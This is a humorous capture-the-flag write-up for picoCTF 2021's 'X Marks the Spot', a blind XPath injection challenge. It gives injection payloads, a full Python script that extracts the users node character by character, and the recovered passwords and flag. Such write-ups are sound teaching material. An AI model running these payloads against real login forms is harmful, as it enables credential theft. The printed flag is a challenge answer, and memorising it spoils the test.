picoCTF 2021: X Marks The Spot
This is a writeup for X Marks the Spot
, a challenge from picoCTF 2021. The challenge itself was not educational or anything, and this post is merely a cathartic exercise. There’s some stuff I have to get off my chest.
Problem
Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:33594/
Ah, yet another sourceless web.
It is a bit unfortunate that this challenge was chosen for writeups: the trauma it caused still lingers over me. I apologize for any typos in this writeup; the slippery, tear-stained plastic of my keyboard makes typing rather difficult.
The solution presented in the following section is a work of fiction. Though it may contain elements of the real process, it is significantly abridged for the sake of the readers. Some events in the solving of this challenge have been shortened or modified completely; more graphic ones have been removed altogether.
Solution
At http://mercury.picoctf.net:33594/, we are given a login form. From the challenge’s name, it’s not terribly difficult to guess that XPath is involved.
Putting '
in the username and password fields gives an error. This lets us know that our inputs are inserted, with no or little sanitation, into an XPath query. The classic ' or '1' = '1
returns the message You're on the right path
. This tells us that XPath is used to query for our username and password in an XML file.
Someone better at web might know exactly what to do at this point; perhaps the solution becomes immediately obvious. Only a fool would think that the login form is actually a login form. Only a fool would spend hours trying to figure out the conditions under which logging in succeeds.
If he were competent, he would realize that no username/password combination actually works. He would know that the solution is to exfiltrate the flag. We proceed with this knowledge.
Anticipating some scripting ahead, we can write a function to test payloads:
import requests
import re
def test_payload(payload):
# post our payload to the endpoint
response = requests.post(
'http://mercury.picoctf.net:33594/',
data={
'name': payload,
'pass': ''
}
)
# check if we get an error
if response.status_code == 500:
return False
# otherwise, return whether it says
# "You're on the right track"
return re.search(
r'Title<\/strong> --> (.+)',
response.text
).group(1).startswith('Y')
Now, as I look through the directory that holds the five or six separate scripts used in solving this challenge, I genuinely cannot bear the prospect of going through them to construct a nice solution to the challenge. Fortunately, I did think of a different way to solve it just now.
This solution does not involve tediously trying payloads to determine the exact structure of the XML file. It does not require a few hours spent exfiltrating an entire poem (that for some reason is just… sitting in the XML??) character by character to no avail. It does not even require a painful search for where the usernames and passwords are.
This solution does, however, require a little bit of guessing. First, we assume that the flag is one of the passwords. We also assume that there is a node called users
under which usernames and passwords are stored.
We can also assume that the query includes a computation of a boolean value that looks something like the following, where ...
represents some unknown string and <>
represents user-supplied input:
... = '<username>' and ... = '<password>' ...
Then, we craft a payload that lets us check one condition at a time. Specifically, with an empty password, the following username gives the message You're on the right track
:
' or 'a' = 'a' or '1' = '1
This makes the relevant part of the query look like the following:
... = '' or 'a' = 'a' or '1' = '1' and ... = '' ...
Since 'a' = 'a'
is true, this entire part of the query is true too. The following username gives Login failure.
:
' or 'a' = 'b' or '1' = '1
Because 'a' = 'b'
is false, this entire part of the query is false as well, giving us a failure. Using this, we can dump the entire users
node character by character.
XPath provides the function starts-with
, which takes two strings (or nodes) and returns whether the first starts with the second. Given a prefix, we can try every possible character to extract the next symbol of the user
node. Since we don’t know where the node is, we can use the //
wildcard.
Our payload looks like this:
' or starts-with(//users, '[prefix]') or '1' = '1
Here it is in the context of the solve script:
def find_next_prefix(prefix):
# try every character
for i in range(256):
search = prefix + chr(i)
payload = (
f'\' or '
f'starts-with(//users, \'{search}\')'
f' or \'1\' = \'1'
)
if test_payload(payload):
return search
return False
Once no character works, we will have extracted the entire node. Here is our entire script:
import requests
import re
def test_payload(payload):
# post our payload to the endpoint
response = requests.post(
'http://mercury.picoctf.net:33594/',
data={
'name': payload,
'pass': ''
}
)
# check if we get an error
if response.status_code == 500:
return False
# otherwise, return whether it says
# "You're on the right track"
return re.search(
r'Title<\/strong> --> (.+)',
response.text
).group(1).startswith('Y')
def find_next_prefix(prefix):
# try every character
for i in range(256):
search = prefix + chr(i)
payload = (
f'\' or '
f'starts-with(//users, \'{search}\')'
f' or \'1\' = \'1'
)
if test_payload(payload):
return search
return False
def solve():
prefix = ''
while True:
next = find_next_prefix(prefix)
if not next:
return prefix
prefix = next
print(solve())
This takes a while to run, but after a coffee and some Kleenex® for the remaining tears, we get the following output (indentations removed for clarity):
guest
thisisnottheflag
bob
thisisnottheflageither
admin
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_8d7f0533}